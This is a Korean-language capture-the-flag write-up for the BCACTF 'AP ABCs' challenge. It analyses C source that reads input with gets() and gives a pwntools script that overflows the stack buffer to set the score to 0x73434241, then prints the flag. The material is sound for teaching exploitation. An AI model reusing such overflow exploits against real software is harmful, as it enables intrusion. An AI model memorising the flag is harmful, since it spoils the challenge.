1. Description
Oh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!
•
nc bin.bcactf.com 49154
2. Write up
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
char *correct = "abcdefghijklmnopqrstuvwxyz";
int main() {
int score = 1;
char response[50];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
......
......
printf("Answer for 1: ");
gets(response);
for (int i = 0; i < 26; ++i) {
if (response[i] == 0)
break;
if (response[i] != correct[i])
break;
if (i == 0)
score = 1;
if (i == 7 || i == 14 || i == 20 || i == 24)
++score;
}
puts("");
printf("You got a %d on your APs.\n", score);
if (score == 1)
puts("Ouch. That hurts.");
else if (score == 2)
puts("At least that's not a 1...");
else if (score == 3)
puts("You are \"qualified\".");
else if (score == 4)
puts("You are \"very well qualified\".");
else if (score == 5)
puts("Nice job!");
else if (score == 0x73434241) {
puts("Tsk tsk tsk.");
sleep(2);
puts("Cheating on the AP® tests is really bad!");
sleep(2);
puts("Let me read you the College Board policies:");
sleep(2);
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL) {
puts("AAAA, I lost my notes!");
puts("You stay here while I go look for them.");
puts("And don't move, you're still in trouble!");
puts("[If you are seeing this on the remote server, please contact admin].");
exit(1);
}
int c;
while ((c = getc(fp)) != EOF) {
putchar(c);
usleep(20000);
}
fclose(fp);
}
}
C
복사
해당 문제에서는 바이너리 파일과 함께 소스코드도 제공하고 있다. 소스코드를 분석하면 아래와 같다.
•
해당 프로그램은 AP(Advanced Placement) 시험 프로그램이다.
•
gets() 함수를 사용하여 response 배열에 입력한 문자열을 저장한다.
•
정답이 저장되있는 correct 배열과 response 배열을 비교하여 점수를 책정하며 최대 5점까지 획득이 가능하고 한번 틀리면 그 순간 암기 시험이 종료되며 점수가 책정된다.
•
점수가 0x73434241점인 경우 플래그를 획득할 수 있다.
해당 문제는 0x73434241점을 넘겨야만 플래그를 얻을 수 있으나 정상적인 방식으로는 최대 5점까지만 획득할 수 있다.
int main() {
int score = 1;
char response[50];
......
......
printf("Answer for 1: ");
gets(response);
for (int i = 0; i < 26; ++i) {
if (response[i] == 0)
break;
if (response[i] != correct[i])
break;
if (i == 0)
score = 1;
if (i == 7 || i == 14 || i == 20 || i == 24)
++score;
}
......
}
C
복사
우선 코드를 확인해보면 버퍼 오버플로우 취약점이 존재하는 gets() 함수를 사용하고 있고 score 변수가 response 배열보다 먼저 정의가 되있기 때문에 스택상 response 배열이 더 위에 존재한다. 따라서 입력값으로 버퍼 오버플로우를 유도해서 score에 0x73434241값을 넣으면 플래그를 얻을 수 있다.
이때 주의사항으로는 버퍼 오버플로우를 유도했으나 for문에서 score 변수에 점수를 저장하는 루틴이 존재한다. 따라서 첫번째 루프에서 break문을 만나도록 유도해야 한다.
.text:0000000000001289 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000001289 public main
.text:0000000000001289 main proc near ; DATA XREF: _start+21↑o
.text:0000000000001289 ; __unwind {
.text:0000000000001289 endbr64
.text:000000000000128D push rbp
.text:000000000000128E mov rbp, rsp
.text:0000000000001291 sub rsp, 50h
.text:0000000000001295 mov dword ptr [rbp-4], 1
......
.text:000000000000152A lea rdi, aAnswerFor1 ; "Answer for 1: "
.text:0000000000001531 mov eax, 0
.text:0000000000001536 call F_printf
.text:000000000000153B lea rax, [rbp-50h]
.text:000000000000153F mov rdi, rax
.text:0000000000001542 mov eax, 0
.text:0000000000001547 call F_scanf
C
복사
score 변수의 위치와 response 배열의 위치는 디스어셈블러를 활용하면 정확하게 확인할 수 있다. grade 변수는 [rbp-4]에 위치하고 있고 response 배열은 [rbp-50h] 위치에 존재한다. 따라서 정답을 피해가는 선에서 (0x50-4) byte만큼 임의의 값을 입력해주고 0x73434241값을 입력해주면 플래그를 얻을 수 있다.
from pwn import *
r = remote("bin.bcactf.com", 49154)
print r.recvuntil("Answer for 1: ")
payload = ""
payload += "A" * (0x50-4)
payload += p64(0x73434241)
r.sendline(payload)
print r.recv(2048)
r.interactive()
Python
복사
3. FLAG
bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}